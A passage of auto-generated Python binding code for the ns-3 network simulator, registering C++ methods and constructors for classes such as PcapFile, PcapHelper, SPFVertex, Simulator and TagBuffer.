## pcap-file.h (module 'network'): uint16_t ns3::PcapFile::GetVersionMajor() [member function]
cls.add_method('GetVersionMajor',
'uint16_t',
[])
## pcap-file.h (module 'network'): uint16_t ns3::PcapFile::GetVersionMinor() [member function]
cls.add_method('GetVersionMinor',
'uint16_t',
[])
## pcap-file.h (module 'network'): void ns3::PcapFile::Init(uint32_t dataLinkType, uint32_t snapLen=ns3::PcapFile::SNAPLEN_DEFAULT, int32_t timeZoneCorrection=ns3::PcapFile::ZONE_DEFAULT, bool swapMode=false) [member function]
cls.add_method('Init',
'void',
[param('uint32_t', 'dataLinkType'), param('uint32_t', 'snapLen', default_value='ns3::PcapFile::SNAPLEN_DEFAULT'), param('int32_t', 'timeZoneCorrection', default_value='ns3::PcapFile::ZONE_DEFAULT'), param('bool', 'swapMode', default_value='false')])
## pcap-file.h (module 'network'): void ns3::PcapFile::Open(std::string const & filename, std::_Ios_Openmode mode) [member function]
cls.add_method('Open',
'void',
[param('std::string const &', 'filename'), param('std::_Ios_Openmode', 'mode')])
## pcap-file.h (module 'network'): void ns3::PcapFile::Read(uint8_t * const data, uint32_t maxBytes, uint32_t & tsSec, uint32_t & tsUsec, uint32_t & inclLen, uint32_t & origLen, uint32_t & readLen) [member function]
cls.add_method('Read',
'void',
[param('uint8_t * const', 'data'), param('uint32_t', 'maxBytes'), param('uint32_t &', 'tsSec'), param('uint32_t &', 'tsUsec'), param('uint32_t &', 'inclLen'), param('uint32_t &', 'origLen'), param('uint32_t &', 'readLen')])
## pcap-file.h (module 'network'): void ns3::PcapFile::Write(uint32_t tsSec, uint32_t tsUsec, uint8_t const * const data, uint32_t totalLen) [member function]
cls.add_method('Write',
'void',
[param('uint32_t', 'tsSec'), param('uint32_t', 'tsUsec'), param('uint8_t const * const', 'data'), param('uint32_t', 'totalLen')])
## pcap-file.h (module 'network'): void ns3::PcapFile::Write(uint32_t tsSec, uint32_t tsUsec, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('Write',
'void',
[param('uint32_t', 'tsSec'), param('uint32_t', 'tsUsec'), param('ns3::Ptr< ns3::Packet const >', 'p')])
## pcap-file.h (module 'network'): void ns3::PcapFile::Write(uint32_t tsSec, uint32_t tsUsec, ns3::Header & header, ns3::Ptr<const ns3::Packet> p) [member function]
cls.add_method('Write',
'void',
[param('uint32_t', 'tsSec'), param('uint32_t', 'tsUsec'), param('ns3::Header &', 'header'), param('ns3::Ptr< ns3::Packet const >', 'p')])
## pcap-file.h (module 'network'): ns3::PcapFile::SNAPLEN_DEFAULT [variable]
cls.add_static_attribute('SNAPLEN_DEFAULT', 'uint32_t const', is_const=True)
## pcap-file.h (module 'network'): ns3::PcapFile::ZONE_DEFAULT [variable]
cls.add_static_attribute('ZONE_DEFAULT', 'int32_t const', is_const=True)
return
def register_Ns3PcapHelper_methods(root_module, cls):
## trace-helper.h (module 'network'): ns3::PcapHelper::PcapHelper(ns3::PcapHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PcapHelper const &', 'arg0')])
## trace-helper.h (module 'network'): ns3::PcapHelper::PcapHelper() [constructor]
cls.add_constructor([])
## trace-helper.h (module 'network'): ns3::Ptr<ns3::PcapFileWrapper> ns3::PcapHelper::CreateFile(std::string filename, std::_Ios_Openmode filemode, uint32_t dataLinkType, uint32_t snapLen=65535, int32_t tzCorrection=0) [member function]
cls.add_method('CreateFile',
'ns3::Ptr< ns3::PcapFileWrapper >',
[param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode'), param('uint32_t', 'dataLinkType'), param('uint32_t', 'snapLen', default_value='65535'), param('int32_t', 'tzCorrection', default_value='0')])
## trace-helper.h (module 'network'): std::string ns3::PcapHelper::GetFilenameFromDevice(std::string prefix, ns3::Ptr<ns3::NetDevice> device, bool useObjectNames=true) [member function]
cls.add_method('GetFilenameFromDevice',
'std::string',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'useObjectNames', default_value='true')])
## trace-helper.h (module 'network'): std::string ns3::PcapHelper::GetFilenameFromInterfacePair(std::string prefix, ns3::Ptr<ns3::Object> object, uint32_t interface, bool useObjectNames=true) [member function]
cls.add_method('GetFilenameFromInterfacePair',
'std::string',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Object >', 'object'), param('uint32_t', 'interface'), param('bool', 'useObjectNames', default_value='true')])
return
def register_Ns3PcapHelperForDevice_methods(root_module, cls):
## trace-helper.h (module 'network'): ns3::PcapHelperForDevice::PcapHelperForDevice(ns3::PcapHelperForDevice const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PcapHelperForDevice const &', 'arg0')])
## trace-helper.h (module 'network'): ns3::PcapHelperForDevice::PcapHelperForDevice() [constructor]
cls.add_constructor([])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool promiscuous=false, bool explicitFilename=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'promiscuous', default_value='false'), param('bool', 'explicitFilename', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, std::string ndName, bool promiscuous=false, bool explicitFilename=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('std::string', 'ndName'), param('bool', 'promiscuous', default_value='false'), param('bool', 'explicitFilename', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, ns3::NetDeviceContainer d, bool promiscuous=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('ns3::NetDeviceContainer', 'd'), param('bool', 'promiscuous', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, ns3::NodeContainer n, bool promiscuous=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('ns3::NodeContainer', 'n'), param('bool', 'promiscuous', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, uint32_t nodeid, uint32_t deviceid, bool promiscuous=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid'), param('bool', 'promiscuous', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcapAll(std::string prefix, bool promiscuous=false) [member function]
cls.add_method('EnablePcapAll',
'void',
[param('std::string', 'prefix'), param('bool', 'promiscuous', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcapInternal(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool promiscuous, bool explicitFilename) [member function]
cls.add_method('EnablePcapInternal',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'promiscuous'), param('bool', 'explicitFilename')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3PcapHelperForIpv4_methods(root_module, cls):
## internet-trace-helper.h (module 'internet'): ns3::PcapHelperForIpv4::PcapHelperForIpv4(ns3::PcapHelperForIpv4 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PcapHelperForIpv4 const &', 'arg0')])
## internet-trace-helper.h (module 'internet'): ns3::PcapHelperForIpv4::PcapHelperForIpv4() [constructor]
cls.add_constructor([])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv4::EnablePcapIpv4(std::string prefix, ns3::Ptr<ns3::Ipv4> ipv4, uint32_t interface, bool explicitFilename=false) [member function]
cls.add_method('EnablePcapIpv4',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv4 >', 'ipv4'), param('uint32_t', 'interface'), param('bool', 'explicitFilename', default_value='false')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv4::EnablePcapIpv4(std::string prefix, std::string ipv4Name, uint32_t interface, bool explicitFilename=false) [member function]
cls.add_method('EnablePcapIpv4',
'void',
[param('std::string', 'prefix'), param('std::string', 'ipv4Name'), param('uint32_t', 'interface'), param('bool', 'explicitFilename', default_value='false')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv4::EnablePcapIpv4(std::string prefix, ns3::Ipv4InterfaceContainer c) [member function]
cls.add_method('EnablePcapIpv4',
'void',
[param('std::string', 'prefix'), param('ns3::Ipv4InterfaceContainer', 'c')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv4::EnablePcapIpv4(std::string prefix, ns3::NodeContainer n) [member function]
cls.add_method('EnablePcapIpv4',
'void',
[param('std::string', 'prefix'), param('ns3::NodeContainer', 'n')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv4::EnablePcapIpv4(std::string prefix, uint32_t nodeid, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnablePcapIpv4',
'void',
[param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv4::EnablePcapIpv4All(std::string prefix) [member function]
cls.add_method('EnablePcapIpv4All',
'void',
[param('std::string', 'prefix')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv4::EnablePcapIpv4Internal(std::string prefix, ns3::Ptr<ns3::Ipv4> ipv4, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnablePcapIpv4Internal',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv4 >', 'ipv4'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3PcapHelperForIpv6_methods(root_module, cls):
## internet-trace-helper.h (module 'internet'): ns3::PcapHelperForIpv6::PcapHelperForIpv6(ns3::PcapHelperForIpv6 const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PcapHelperForIpv6 const &', 'arg0')])
## internet-trace-helper.h (module 'internet'): ns3::PcapHelperForIpv6::PcapHelperForIpv6() [constructor]
cls.add_constructor([])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv6::EnablePcapIpv6(std::string prefix, ns3::Ptr<ns3::Ipv6> ipv6, uint32_t interface, bool explicitFilename=false) [member function]
cls.add_method('EnablePcapIpv6',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv6 >', 'ipv6'), param('uint32_t', 'interface'), param('bool', 'explicitFilename', default_value='false')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv6::EnablePcapIpv6(std::string prefix, std::string ipv6Name, uint32_t interface, bool explicitFilename=false) [member function]
cls.add_method('EnablePcapIpv6',
'void',
[param('std::string', 'prefix'), param('std::string', 'ipv6Name'), param('uint32_t', 'interface'), param('bool', 'explicitFilename', default_value='false')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv6::EnablePcapIpv6(std::string prefix, ns3::Ipv6InterfaceContainer c) [member function]
cls.add_method('EnablePcapIpv6',
'void',
[param('std::string', 'prefix'), param('ns3::Ipv6InterfaceContainer', 'c')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv6::EnablePcapIpv6(std::string prefix, ns3::NodeContainer n) [member function]
cls.add_method('EnablePcapIpv6',
'void',
[param('std::string', 'prefix'), param('ns3::NodeContainer', 'n')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv6::EnablePcapIpv6(std::string prefix, uint32_t nodeid, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnablePcapIpv6',
'void',
[param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv6::EnablePcapIpv6All(std::string prefix) [member function]
cls.add_method('EnablePcapIpv6All',
'void',
[param('std::string', 'prefix')])
## internet-trace-helper.h (module 'internet'): void ns3::PcapHelperForIpv6::EnablePcapIpv6Internal(std::string prefix, ns3::Ptr<ns3::Ipv6> ipv6, uint32_t interface, bool explicitFilename) [member function]
cls.add_method('EnablePcapIpv6Internal',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Ipv6 >', 'ipv6'), param('uint32_t', 'interface'), param('bool', 'explicitFilename')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3RandomVariable_methods(root_module, cls):
cls.add_output_stream_operator()
## random-variable.h (module 'core'): ns3::RandomVariable::RandomVariable() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::RandomVariable::RandomVariable(ns3::RandomVariable const & o) [copy constructor]
cls.add_constructor([param('ns3::RandomVariable const &', 'o')])
## random-variable.h (module 'core'): uint32_t ns3::RandomVariable::GetInteger() const [member function]
cls.add_method('GetInteger',
'uint32_t',
[],
is_const=True)
## random-variable.h (module 'core'): double ns3::RandomVariable::GetValue() const [member function]
cls.add_method('GetValue',
'double',
[],
is_const=True)
return
def register_Ns3SPFVertex_methods(root_module, cls):
## global-route-manager-impl.h (module 'internet'): ns3::SPFVertex::SPFVertex() [constructor]
cls.add_constructor([])
## global-route-manager-impl.h (module 'internet'): ns3::SPFVertex::SPFVertex(ns3::GlobalRoutingLSA * lsa) [constructor]
cls.add_constructor([param('ns3::GlobalRoutingLSA *', 'lsa')])
## global-route-manager-impl.h (module 'internet'): ns3::SPFVertex::VertexType ns3::SPFVertex::GetVertexType() const [member function]
cls.add_method('GetVertexType',
'ns3::SPFVertex::VertexType',
[],
is_const=True)
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::SetVertexType(ns3::SPFVertex::VertexType type) [member function]
cls.add_method('SetVertexType',
'void',
[param('ns3::SPFVertex::VertexType', 'type')])
## global-route-manager-impl.h (module 'internet'): ns3::Ipv4Address ns3::SPFVertex::GetVertexId() const [member function]
cls.add_method('GetVertexId',
'ns3::Ipv4Address',
[],
is_const=True)
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::SetVertexId(ns3::Ipv4Address id) [member function]
cls.add_method('SetVertexId',
'void',
[param('ns3::Ipv4Address', 'id')])
## global-route-manager-impl.h (module 'internet'): ns3::GlobalRoutingLSA * ns3::SPFVertex::GetLSA() const [member function]
cls.add_method('GetLSA',
'ns3::GlobalRoutingLSA *',
[],
is_const=True)
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::SetLSA(ns3::GlobalRoutingLSA * lsa) [member function]
cls.add_method('SetLSA',
'void',
[param('ns3::GlobalRoutingLSA *', 'lsa')])
## global-route-manager-impl.h (module 'internet'): uint32_t ns3::SPFVertex::GetDistanceFromRoot() const [member function]
cls.add_method('GetDistanceFromRoot',
'uint32_t',
[],
is_const=True)
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::SetDistanceFromRoot(uint32_t distance) [member function]
cls.add_method('SetDistanceFromRoot',
'void',
[param('uint32_t', 'distance')])
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::SetRootExitDirection(ns3::Ipv4Address nextHop, int32_t id=ns3::SPF_INFINITY) [member function]
cls.add_method('SetRootExitDirection',
'void',
[param('ns3::Ipv4Address', 'nextHop'), param('int32_t', 'id', default_value='ns3::SPF_INFINITY')])
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::SetRootExitDirection(std::pair<ns3::Ipv4Address,int> exit) [member function]
cls.add_method('SetRootExitDirection',
'void',
[param('std::pair< ns3::Ipv4Address, int >', 'exit')])
## global-route-manager-impl.h (module 'internet'): std::pair<ns3::Ipv4Address,int> ns3::SPFVertex::GetRootExitDirection(uint32_t i) const [member function]
cls.add_method('GetRootExitDirection',
'std::pair< ns3::Ipv4Address, int >',
[param('uint32_t', 'i')],
is_const=True)
## global-route-manager-impl.h (module 'internet'): std::pair<ns3::Ipv4Address,int> ns3::SPFVertex::GetRootExitDirection() const [member function]
cls.add_method('GetRootExitDirection',
'std::pair< ns3::Ipv4Address, int >',
[],
is_const=True)
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::MergeRootExitDirections(ns3::SPFVertex const * vertex) [member function]
cls.add_method('MergeRootExitDirections',
'void',
[param('ns3::SPFVertex const *', 'vertex')])
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::InheritAllRootExitDirections(ns3::SPFVertex const * vertex) [member function]
cls.add_method('InheritAllRootExitDirections',
'void',
[param('ns3::SPFVertex const *', 'vertex')])
## global-route-manager-impl.h (module 'internet'): uint32_t ns3::SPFVertex::GetNRootExitDirections() const [member function]
cls.add_method('GetNRootExitDirections',
'uint32_t',
[],
is_const=True)
## global-route-manager-impl.h (module 'internet'): ns3::SPFVertex * ns3::SPFVertex::GetParent(uint32_t i=0) const [member function]
cls.add_method('GetParent',
'ns3::SPFVertex *',
[param('uint32_t', 'i', default_value='0')],
is_const=True)
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::SetParent(ns3::SPFVertex * parent) [member function]
cls.add_method('SetParent',
'void',
[param('ns3::SPFVertex *', 'parent')])
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::MergeParent(ns3::SPFVertex const * v) [member function]
cls.add_method('MergeParent',
'void',
[param('ns3::SPFVertex const *', 'v')])
## global-route-manager-impl.h (module 'internet'): uint32_t ns3::SPFVertex::GetNChildren() const [member function]
cls.add_method('GetNChildren',
'uint32_t',
[],
is_const=True)
## global-route-manager-impl.h (module 'internet'): ns3::SPFVertex * ns3::SPFVertex::GetChild(uint32_t n) const [member function]
cls.add_method('GetChild',
'ns3::SPFVertex *',
[param('uint32_t', 'n')],
is_const=True)
## global-route-manager-impl.h (module 'internet'): uint32_t ns3::SPFVertex::AddChild(ns3::SPFVertex * child) [member function]
cls.add_method('AddChild',
'uint32_t',
[param('ns3::SPFVertex *', 'child')])
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::SetVertexProcessed(bool value) [member function]
cls.add_method('SetVertexProcessed',
'void',
[param('bool', 'value')])
## global-route-manager-impl.h (module 'internet'): bool ns3::SPFVertex::IsVertexProcessed() const [member function]
cls.add_method('IsVertexProcessed',
'bool',
[],
is_const=True)
## global-route-manager-impl.h (module 'internet'): void ns3::SPFVertex::ClearVertexProcessed() [member function]
cls.add_method('ClearVertexProcessed',
'void',
[])
return
def register_Ns3SeedManager_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::SeedManager::SeedManager() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::SeedManager::SeedManager(ns3::SeedManager const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SeedManager const &', 'arg0')])
## random-variable.h (module 'core'): static bool ns3::SeedManager::CheckSeed(uint32_t seed) [member function]
cls.add_method('CheckSeed',
'bool',
[param('uint32_t', 'seed')],
is_static=True)
## random-variable.h (module 'core'): static uint32_t ns3::SeedManager::GetRun() [member function]
cls.add_method('GetRun',
'uint32_t',
[],
is_static=True)
## random-variable.h (module 'core'): static uint32_t ns3::SeedManager::GetSeed() [member function]
cls.add_method('GetSeed',
'uint32_t',
[],
is_static=True)
## random-variable.h (module 'core'): static void ns3::SeedManager::SetRun(uint32_t run) [member function]
cls.add_method('SetRun',
'void',
[param('uint32_t', 'run')],
is_static=True)
## random-variable.h (module 'core'): static void ns3::SeedManager::SetSeed(uint32_t seed) [member function]
cls.add_method('SetSeed',
'void',
[param('uint32_t', 'seed')],
is_static=True)
return
def register_Ns3SequenceNumber32_methods(root_module, cls):
cls.add_binary_comparison_operator('!=')
cls.add_binary_numeric_operator('+', root_module['ns3::SequenceNumber32'], root_module['ns3::SequenceNumber32'], param('ns3::SequenceNumber< unsigned int, int > const &', 'right'))
cls.add_binary_numeric_operator('+', root_module['ns3::SequenceNumber32'], root_module['ns3::SequenceNumber32'], param('int', 'right'))
cls.add_inplace_numeric_operator('+=', param('int', 'right'))
cls.add_binary_numeric_operator('-', root_module['ns3::SequenceNumber32'], root_module['ns3::SequenceNumber32'], param('int', 'right'))
cls.add_inplace_numeric_operator('-=', param('int', 'right'))
cls.add_binary_comparison_operator('<')
cls.add_binary_comparison_operator('<=')
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('>')
cls.add_binary_comparison_operator('>=')
## sequence-number.h (module 'network'): ns3::SequenceNumber<unsigned int, int>::SequenceNumber() [constructor]
cls.add_constructor([])
## sequence-number.h (module 'network'): ns3::SequenceNumber<unsigned int, int>::SequenceNumber(unsigned int value) [constructor]
cls.add_constructor([param('unsigned int', 'value')])
## sequence-number.h (module 'network'): ns3::SequenceNumber<unsigned int, int>::SequenceNumber(ns3::SequenceNumber<unsigned int, int> const & value) [copy constructor]
cls.add_constructor([param('ns3::SequenceNumber< unsigned int, int > const &', 'value')])
## sequence-number.h (module 'network'): unsigned int ns3::SequenceNumber<unsigned int, int>::GetValue() const [member function]
cls.add_method('GetValue',
'unsigned int',
[],
is_const=True)
return
def register_Ns3SequentialVariable_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::SequentialVariable::SequentialVariable(ns3::SequentialVariable const & arg0) [copy constructor]
cls.add_constructor([param('ns3::SequentialVariable const &', 'arg0')])
## random-variable.h (module 'core'): ns3::SequentialVariable::SequentialVariable(double f, double l, double i=1, uint32_t c=1) [constructor]
cls.add_constructor([param('double', 'f'), param('double', 'l'), param('double', 'i', default_value='1'), param('uint32_t', 'c', default_value='1')])
## random-variable.h (module 'core'): ns3::SequentialVariable::SequentialVariable(double f, double l, ns3::RandomVariable const & i, uint32_t c=1) [constructor]
cls.add_constructor([param('double', 'f'), param('double', 'l'), param('ns3::RandomVariable const &', 'i'), param('uint32_t', 'c', default_value='1')])
return
def register_Ns3SimpleRefCount__Ns3Object_Ns3ObjectBase_Ns3ObjectDeleter_methods(root_module, cls):
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::SimpleRefCount() [constructor]
cls.add_constructor([])
## simple-ref-count.h (module 'core'): ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::SimpleRefCount(ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter> const & o) [copy constructor]
cls.add_constructor([param('ns3::SimpleRefCount< ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter > const &', 'o')])
## simple-ref-count.h (module 'core'): static void ns3::SimpleRefCount<ns3::Object, ns3::ObjectBase, ns3::ObjectDeleter>::Cleanup() [member function]
cls.add_method('Cleanup',
'void',
[],
is_static=True)
return
def register_Ns3Simulator_methods(root_module, cls):
## simulator.h (module 'core'): ns3::Simulator::Simulator(ns3::Simulator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Simulator const &', 'arg0')])
## simulator.h (module 'core'): static void ns3::Simulator::Cancel(ns3::EventId const & id) [member function]
cls.add_method('Cancel',
'void',
[param('ns3::EventId const &', 'id')],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::Destroy() [member function]
cls.add_method('Destroy',
'void',
[],
is_static=True)
## simulator.h (module 'core'): static uint32_t ns3::Simulator::GetContext() [member function]
cls.add_method('GetContext',
'uint32_t',
[],
is_static=True)
## simulator.h (module 'core'): static ns3::Time ns3::Simulator::GetDelayLeft(ns3::EventId const & id) [member function]
cls.add_method('GetDelayLeft',
'ns3::Time',
[param('ns3::EventId const &', 'id')],
is_static=True)
## simulator.h (module 'core'): static ns3::Ptr<ns3::SimulatorImpl> ns3::Simulator::GetImplementation() [member function]
cls.add_method('GetImplementation',
'ns3::Ptr< ns3::SimulatorImpl >',
[],
is_static=True)
## simulator.h (module 'core'): static ns3::Time ns3::Simulator::GetMaximumSimulationTime() [member function]
cls.add_method('GetMaximumSimulationTime',
'ns3::Time',
[],
is_static=True)
## simulator.h (module 'core'): static uint32_t ns3::Simulator::GetSystemId() [member function]
cls.add_method('GetSystemId',
'uint32_t',
[],
is_static=True)
## simulator.h (module 'core'): static bool ns3::Simulator::IsExpired(ns3::EventId const & id) [member function]
cls.add_method('IsExpired',
'bool',
[param('ns3::EventId const &', 'id')],
is_static=True)
## simulator.h (module 'core'): static bool ns3::Simulator::IsFinished() [member function]
cls.add_method('IsFinished',
'bool',
[],
is_static=True)
## simulator.h (module 'core'): static ns3::Time ns3::Simulator::Next() [member function]
cls.add_method('Next',
'ns3::Time',
[],
is_static=True, deprecated=True)
## simulator.h (module 'core'): static ns3::Time ns3::Simulator::Now() [member function]
cls.add_method('Now',
'ns3::Time',
[],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::Remove(ns3::EventId const & id) [member function]
cls.add_method('Remove',
'void',
[param('ns3::EventId const &', 'id')],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::RunOneEvent() [member function]
cls.add_method('RunOneEvent',
'void',
[],
is_static=True, deprecated=True)
## simulator.h (module 'core'): static void ns3::Simulator::SetImplementation(ns3::Ptr<ns3::SimulatorImpl> impl) [member function]
cls.add_method('SetImplementation',
'void',
[param('ns3::Ptr< ns3::SimulatorImpl >', 'impl')],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::SetScheduler(ns3::ObjectFactory schedulerFactory) [member function]
cls.add_method('SetScheduler',
'void',
[param('ns3::ObjectFactory', 'schedulerFactory')],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::Stop() [member function]
cls.add_method('Stop',
'void',
[],
is_static=True)
## simulator.h (module 'core'): static void ns3::Simulator::Stop(ns3::Time const & time) [member function]
cls.add_method('Stop',
'void',
[param('ns3::Time const &', 'time')],
is_static=True)
return
def register_Ns3Tag_methods(root_module, cls):
## tag.h (module 'network'): ns3::Tag::Tag() [constructor]
cls.add_constructor([])
## tag.h (module 'network'): ns3::Tag::Tag(ns3::Tag const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Tag const &', 'arg0')])
## tag.h (module 'network'): void ns3::Tag::Deserialize(ns3::TagBuffer i) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_pure_virtual=True, is_virtual=True)
## tag.h (module 'network'): uint32_t ns3::Tag::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## tag.h (module 'network'): static ns3::TypeId ns3::Tag::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## tag.h (module 'network'): void ns3::Tag::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_pure_virtual=True, is_const=True, is_virtual=True)
## tag.h (module 'network'): void ns3::Tag::Serialize(ns3::TagBuffer i) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::TagBuffer', 'i')],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3TagBuffer_methods(root_module, cls):
## tag-buffer.h (module 'network'): ns3::TagBuffer::TagBuffer(ns3::TagBuffer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TagBuffer const &', 'arg0')])
## tag-buffer.h (module 'network'): ns3::TagBuffer::TagBuffer(uint8_t * start, uint8_t * end) [constructor]
cls.add_constructor([param('uint8_t *', 'start'), param('uint8_t *', 'end')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::CopyFrom(ns3::TagBuffer o) [member function]
cls.add_method('CopyFrom',
'void',
[param('ns3::TagBuffer', 'o')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::Read(uint8_t * buffer, uint32_t size) [member function]
cls.add_method('Read',
'void',
[param('uint8_t *', 'buffer'), param('uint32_t', 'size')])
## tag-buffer.h (module 'network'): double ns3::TagBuffer::ReadDouble() [member function]
cls.add_method('ReadDouble',
'double',
[])
## tag-buffer.h (module 'network'): uint16_t ns3::TagBuffer::ReadU16() [member function]
cls.add_method('ReadU16',
'uint16_t',
[])
## tag-buffer.h (module 'network'): uint32_t ns3::TagBuffer::ReadU32() [member function]
cls.add_method('ReadU32',
'uint32_t',
[])
## tag-buffer.h (module 'network'): uint64_t ns3::TagBuffer::ReadU64() [member function]
cls.add_method('ReadU64',
'uint64_t',
[])
## tag-buffer.h (module 'network'): uint8_t ns3::TagBuffer::ReadU8() [member function]
cls.add_method('ReadU8',
'uint8_t',
[])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::TrimAtEnd(uint32_t trim) [member function]
cls.add_method('TrimAtEnd',
'void',
[param('uint32_t', 'trim')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::Write(uint8_t const * buffer, uint32_t size) [member function]
cls.add_method('Write',
'void',
[param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteDouble(double v) [member function]
cls.add_method('WriteDouble',
'void',
[param('double', 'v')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU16(uint16_t data) [member function]
cls.add_method('WriteU16',
'void',
[param('uint16_t', 'data')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU32(uint32_t data) [member function]
cls.add_method('WriteU32',
'void',
[param('uint32_t', 'data')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU64(uint64_t v) [member function]
cls.add_method('WriteU64',
'void',
[param('uint64_t', 'v')])
## tag-buffer.h (module 'network'): void ns3::TagBuffer::WriteU8(uint8_t v) [member function]
cls.add_method('WriteU8',
'void',
[param('uint8_t', 'v')])
return
def register_Ns3Timer_methods(root_module, cls):
## timer.h (module 'core'): ns3::Timer::Timer(ns3::Timer const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Timer const &', 'arg0')])
## timer.h (module 'core'): ns3::Timer::Timer() [constructor]
cls.add_constructor([])
